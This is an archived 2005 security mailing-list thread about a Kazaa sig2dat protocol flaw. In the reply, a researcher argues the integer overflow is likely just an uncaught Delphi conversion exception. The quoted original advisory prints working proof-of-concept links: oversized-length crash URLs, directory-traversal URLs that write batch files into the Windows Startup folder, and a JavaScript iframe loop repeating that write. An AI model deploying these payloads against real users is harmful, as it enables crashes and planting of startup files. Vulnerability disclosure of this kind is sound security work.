Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security NTBugtraq
[Top] [All Lists]

[Full-Disclosure] Re: Kazaa Sig2Dat Protocol Remote Integer Overflow and

Subject: [Full-Disclosure] Re: Kazaa Sig2Dat Protocol Remote Integer Overflow and Denial Of Service by creating files in arbitrary locations
Date: Tue, 18 Jan 2005 23:15:01 +0100
Short version:
I looked at the "Length:999999999..." problem: It doesn't seem exploitable.

Details:
The sig2dat:// url causes Internet Explorer to run ksig.exe, ksig.exe is 
terminated because of an unhandled exception 0x0eedfade that is raised from 
0x00403B69 in my ksig.exe. Googling for this exception will not report anything 
very usefull, other than that it is mentioned only in relation with Delphi 
programs.

My impression of the problem:
So I ran it through a debugger and I think that the number "99999999..." is run 
through a routine that converts it from string to an integer. Since it will not 
fit into a 32-bit integer, this function throws an exception to report this 
error. This exception is not caught by ksig.exe, terminating the program. I'm 
not 100% sure since I only looked at the code for about half an hour and I have 
no Delphi compiler installed to test if any of the default string2int routines 
throw exception 0x0eedfade.

Feel free to prove me wrong.

Cheers,

Berend-Jan Wever
SMTP: <skylined@edup.tudelft.nl>
HTTP: http://www.edup.tudelft.nl/~bjwever
MSN: Skylined@edup.tudelft.nl
IRC: SkyLined in #SkyLined on EFNET
PGP: key ID 0x48479882

----- Original Message ----- 
From: "Rafel Ivgi, The-Insider" <theinsider@012.net.il>
To: "Windows NTBugtraq Mailing List" <NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM>; 
<vulnwatch@vulnwatch.org>; "securitytracker.com" <bugs@securitytracker.com>; 
<news@securiteam.com>; <full-disclosure@lists.netsys.com>; 
<bugtraq@securityfocus.com>
Sent: Monday, January 17, 2005 21:40
Subject: Kazaa Sig2Dat Protocol Remote Integer Overflow and Denial Of Service 
by creating files in arbitrary locations


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application:   Kazaa
Vendors:       http://www.kazaa.com
Versions:       kazaa lite k++(probably all others too...)
Platforms:      Windows
Bug:              Sig2Dat Protocol Remote Integer Overflow and
                     Denial Of Service by creating files in arbitrary
locations
Exploitation:   Remote With Browser
Date:             17 Jan 2005
Author:          Rafel Ivgi, The-Insider
E-Mail:          the_insider@mail.com
Website:        http://theinsider.deep-ice.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1) Introduction
2) Bugs
3) The Code

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===============
1) Introduction
===============

Kazaa is currently the world’s most common P2P file sharing application.
When installing Kazaa a new protocol is installed named “sig2dat”.
This protocol contain an integer overflow vulnerability which may cause
a crash and may allow remote execution of code. There is another
vulnerability in the “File:” parameter which allows creating files in
arbitrary locations and committing Denial Of Service.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

The sig2dat protocol syntax:
Sig2dat://<filename>%7c<file length in bytes>< file length in
kilobytes>%7c<HASH>%7c

The vulnerable parameter is the file “Length” (in bytes). Specifying a
numeric value bigger than a 999999999.

Successful exploiting of this vulnerability may allow remote code execution.

There is another vulnerability in the “File:” parameter. It allows creation
of files in arbitrary locations within the same partition as the shared
folder,
using the classic directory transversal technique “../”.

For Example:
<A HREF="sig2dat://%7CFile:../../../../../../Docume~1/All Users/Start Menu/
Programs/Startup/cool.bat%7CLength:373236528%20Bytes,364489KB%7CUUHash:=DEf
m3HmvILkNcbY7j5NGa%2BD11CQ=%7C/">CLICK HERE</A>


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===========
3) The Code
===========

1) <A HREF="sig2dat://%7CFile:dev-catz5%28.bin%7CLength:99999999999999999999
9999999%20Bytes,364489KB%7CUUHash:=DEfm3HmvILkNcbY7j5NGa%2BD11CQ=%7C/">CLICK
HERE</A>
*********************************************************************
2) <A HREF="sig2dat://%7CFile:../../../../../../Docume~1/All Users/Start
Menu
/Programs/Startup/cool.bat%7CLength:373236528%20Bytes,364489KB%7CUUHash:=DEf
m
3HmvILkNcbY7j5NGa%2BD11CQ=%7C/">CLICK HERE</A>
*********************************************************************
3) <script>
var i
for (i=1;i<10000;i++)
{
mylocation="<iframe src='sig2dat://%7CFile:../../../../../../Docume~1/All
Users
/Start
Menu/Programs/Startup/cool"+i+".bat%7CLength:373236528%20Bytes,364489KB%
7CUUHash:=DEfm3HmvILkNcbY7j5NGa%2BD11CQ=%7C/'></iframe>";
document.write(mylocation);
}
</script>


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Scripts and Codes will make me D.O.S , but they will never HACK me."





_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

<Prev in Thread] Current Thread [Next in Thread>